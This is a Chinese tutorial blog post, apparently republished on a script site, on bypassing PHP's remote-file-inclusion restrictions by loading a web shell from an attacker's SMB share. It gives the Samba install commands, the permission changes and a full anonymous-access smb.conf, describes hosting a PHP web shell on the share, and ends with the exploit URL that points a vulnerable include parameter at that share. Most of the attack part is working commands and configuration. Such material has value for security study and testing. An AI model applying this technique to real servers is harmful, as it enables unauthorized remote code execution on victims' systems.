主頁(yè) > 知識(shí)庫(kù) > 使用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制執(zhí)行RFI的利用

使用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制執(zhí)行RFI的利用

熱門(mén)標(biāo)簽:咸寧銷(xiāo)售電銷(xiāo)機(jī)器人系統(tǒng) 余姚電話機(jī)器人 電銷(xiāo)機(jī)器人問(wèn)門(mén)薩維品牌my 400電話蘭州申請(qǐng)請(qǐng) 外呼系統(tǒng)能給企業(yè)帶來(lái)哪些好處 百度地圖怎樣標(biāo)注圖標(biāo) 百度地圖標(biāo)注偏差 廣東廣州在怎么申請(qǐng)400電話 開(kāi)發(fā)地圖標(biāo)注類(lèi)網(wǎng)站

在這篇博文中,我將為大家演示如何利用PHP應(yīng)用中的遠(yuǎn)程文件包含漏洞的技術(shù)。我們將繞過(guò)php遠(yuǎn)程文件包含的限制,并執(zhí)行RFI的利用,即使PHP環(huán)境被配置為不包含來(lái)自遠(yuǎn)程HTTP/FTP URL的文件。

PHP 和 SMB 共享文件訪問(wèn)

在PHP配置文件中,“allow_url_include”wrapper默認(rèn)設(shè)置為“Off”,指示PHP不加載遠(yuǎn)程HTTP或FTP URL,從而防止遠(yuǎn)程文件包含攻擊。但是,即使“allow_url_include”和“allow_url_fopen”都設(shè)置為“Off”,PHP也不會(huì)阻止加載SMB URL。而這就極有可能被濫用來(lái)從SMB共享加載遠(yuǎn)程托管的PHP Web shell。

攻擊場(chǎng)景概述

當(dāng)易受攻擊的PHP應(yīng)用程序代碼嘗試從受攻擊者控制的SMB共享加載PHP Web shell時(shí),SMB共享應(yīng)允許訪問(wèn)該文件。攻擊者需要在其上配置具有匿名瀏覽訪問(wèn)權(quán)限的SMB服務(wù)器。因此,一旦易受攻擊的應(yīng)用程序嘗試從SMB共享訪問(wèn)PHP Web shell,SMB服務(wù)器將不會(huì)要求任何的憑據(jù),易受攻擊的應(yīng)用程序?qū)琖eb shell的PHP代碼。

首先,我重新配置了PHP環(huán)境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名瀏覽訪問(wèn)的SMB服務(wù)器。一旦SMB共享準(zhǔn)備就緒,我們就可以利用易受攻擊的應(yīng)用程序了。

PHP 環(huán)境設(shè)置

將托管易受攻擊代碼的機(jī)器上的“allow_url_fopen”和“allow_url_include”設(shè)置為“Off”

以下是版本為“5.5.11”的PHP當(dāng)前配置截圖:

 

在繼續(xù)下一步之前,讓我們確保當(dāng)我們嘗試訪問(wèn)HTTP上托管的Web shell時(shí),PHP代碼不允許遠(yuǎn)程文件包含。

 

可以看到,當(dāng)我試圖從遠(yuǎn)程主機(jī)包含PHP Web shell時(shí),應(yīng)用程序拋出錯(cuò)誤并且沒(méi)有包含遠(yuǎn)程文件。

使用匿名瀏覽訪問(wèn)配置 Samba 服務(wù)器(Linux 機(jī)器)
使用以下命令安裝Samba服務(wù)器:

apt-get install samba創(chuàng)建SMB共享目錄:

mkdir /var/www/html/pub/

 

配置新創(chuàng)建的SMB共享目錄的權(quán)限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

 

運(yùn)行以下命令,刪除SAMBA服務(wù)器配置文件的默認(rèn)內(nèi)容。

echo > /etc/samba/smb.conf將以下內(nèi)容添加到/etc/samba/smb.conf文件。

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555

force user = nobody現(xiàn)在,重啟SAMBA服務(wù)器以使配置文件/etc/samba/smb.conf中的新配置生效。

service smbd restart成功重啟SAMBA服務(wù)器后,嘗試訪問(wèn)SMB共享并確保SAMBA服務(wù)器不要求提供憑據(jù)。

在本例中,SAMBA服務(wù)器IP為192.168.0.3,我需要訪問(wèn)Windows文件瀏覽器中的SMB共享,如下:

\\192.168.0.3\&;

 

在 SMB 共享中托管 PHP Web shell

太棒了!可以訪問(wèn)smb共享,并顯示目錄“ica”存在。

 

現(xiàn)在,將PHP shell托管在目錄“/var/www/html/pub”中,該目錄為smb共享目錄“ica”。

成功托管PHP shell后,我們使用Windows文件瀏覽器訪問(wèn)SMB共享目錄“ica”。

\\192.168.0.3\ica\可以看到php shell存在于smb共享目錄中,在本例中為box.php文件。

 

利用文件包含易受攻擊的參數(shù)
讓我們使用這個(gè)PHP shell SMB鏈接,以及易受攻擊的php代碼瀏覽它。

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpPHP易受攻擊的代碼從SMB共享中獲取了web shell,并在應(yīng)用程序服務(wù)器上執(zhí)行了代碼\m/。我們已經(jīng)繞過(guò)了php遠(yuǎn)程文件包含的限制,并包含了托管在遠(yuǎn)程主機(jī)上的Web shell。

 

總結(jié)

以上所述是小編給大家介紹的使用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制執(zhí)行RFI的利用,希望對(duì)大家有所幫助,如果大家有任何疑問(wèn)請(qǐng)給我留言,小編會(huì)及時(shí)回復(fù)大家的。在此也非常感謝大家對(duì)腳本之家網(wǎng)站的支持!

您可能感興趣的文章:
  • php文件包含目錄配置open_basedir的使用與性能詳解
  • PHP中你應(yīng)該知道的require()文件包含的正確用法
  • php 偽造本地文件包含漏洞的代碼
  • PHP 網(wǎng)絡(luò)開(kāi)發(fā)詳解之遠(yuǎn)程文件包含漏洞
  • php文件包含的幾種方式總結(jié)

標(biāo)簽:衡陽(yáng) 銅陵 十堰 巴彥淖爾 臨沂 重慶 鷹潭 麗江

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《使用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制執(zhí)行RFI的利用》,本文關(guān)鍵詞  使用,SMB,共享,來(lái),繞過(guò),php,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《使用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制執(zhí)行RFI的利用》相關(guān)的同類(lèi)信息!
  • 本頁(yè)收集關(guān)于使用SMB共享來(lái)繞過(guò)php遠(yuǎn)程文件包含的限制執(zhí)行RFI的利用的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章